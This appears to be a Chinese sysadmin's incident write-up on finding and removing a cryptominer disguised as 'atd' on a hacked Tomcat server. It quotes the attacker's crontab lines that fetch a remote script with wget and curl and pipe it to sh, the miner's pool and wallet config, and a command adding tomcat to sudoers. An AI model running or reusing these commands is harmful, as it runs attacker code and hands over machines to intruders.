线上一台应用服务器报警,负载过高,这个就诡异了,因为只是一个普通的服务器,应用使用人员不到10个人,咋会负载高,肯定有问题哪,登陆上去查看,
top查看哪个占据的cpu资源比较多
[root@aew01~]# top
top - 14:27:49 up 423 days, 22:48, 3 users, load average: 2.10, 1.85, 1.66
Tasks: 166 total, 1 running, 164 sleeping, 0 stopped, 1 zombie
Cpu0 : 45.4%us, 0.8%sy, 0.0%ni, 53.8%id, 0.0%wa, 0.0%hi, 0.0%si, 0.0%st
Cpu1 : 38.2%us, 0.8%sy, 0.0%ni, 59.8%id, 0.0%wa, 0.0%hi, 1.2%si, 0.0%st
Mem: 14389372k total, 14233284k used, 156088k free, 12388k buffers
Swap: 33554428k total, 1511980k used, 32042448k free, 40140k cached
PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND
39674 tomcat 20 0 223m 2808 412 S 75.0 0.0 4031:53 atd
54892 tomcat 20 0 10.1g 3.6g 4816 S 4.6 26.4 969:07.52 java
[tomcat@aew01~]$ crontab -l
*/20 * * * * wget -O - -q http://91.230.47.40/icons/logo.jpg|sh
*/19 * * * * curl http://91.230.47.40/icons/logo.jpg|sh
[tomcat@aew01~]$
看到有一个atd进程,这是什么鬼? 查看atd进程
[root@aew01~]# ps -eaf|grep 39674
root 39023 37026 0 14:28 pts/0 00:00:00 grep 39674
tomcat 39674 1 85 Jul15 ? 2-19:12:05 ./atd -c bmsnxvpggm.conf -t 1
[root@aew01~]#
再查看atd执行脚本组件,看到是一个编译之后的可执行组件
[root@aew01~]# find / -name atd
/usr/sbin/atd
/etc/sysconfig/atd
/etc/pam.d/atd
/etc/rc.d/init.d/atd
/var/tmp/atd
[root@aew01~]# more /usr/sbin/atd
******** /usr/sbin/atd: Not a text file ********
[root@aew01~]#
查看配置文件bmsnxvpggm.conf
[root@aew01~]# more /var/tmp/bmsnxvpggm.conf
{
"url" : "stratum+tcp://94.23.41.130:80",
"user" : "49mQCzecsC6TS1sNBj5XQX4dNG8MESvLGLPHYJLKohVCQivAB5jJw2xHokTpjtSfE3D8m2U3JjDGEWJMYLrN216CM3dRpBt",
"pass" : "x",
"algo" : "cryptonight",
"quiet" : true
}
[root@aew01~]#
看来是被盯上了,攻击了。kill掉进程
[root@aew01~]# kill -9 39979
[root@aew01~]# ps -eaf|grep atd
root 40917 37026 0 14:48 pts/0 00:00:00 grep atd
[root@aew01~]#
然后负载降下来了,但是可恶的是,不到5分钟,负载又上来了,一看又是atd这个进程在运行,进去查看tomcat的crontab任务,发现已经被写进crontab任务了,于是注释掉crontab任务。
[tomcat@aew01~]$ crontab -l
*/20 * * * * wget -O - -q http://91.230.47.40/icons/logo.jpg|sh
*/19 * * * * curl http://91.230.47.40/icons/logo.jpg|sh
[tomcat@aew01~]$
然后又查看历史操作,有这样一个命令echo "tomcat ALL=(ALL) ALL" >> /etc/sudoers曾经被执行过 >echo "tomcat ALL=(ALL) ALL" >> /etc/sudoers >,于是,为了安全起见,进配置/etc/sudoers文件里面,注释掉 #tomcat ALL=(ALL) ALL这一行,然后重启tomcat应用程序。
彻底检查了下应用服务器所对于的db服务器,发现db没有被攻击,各种数据账号安全,又迅速修改了数据库账号密码等等。
BTY:最终的彻底的解解决方案还是需要应用开发人员,堵住tomcat的漏洞,避免黑客使用tomcat漏洞获得应用服务器的tomcat账号权限,进而登陆应用服务器,将应用服务器做成肉鸡,不停的往外发包。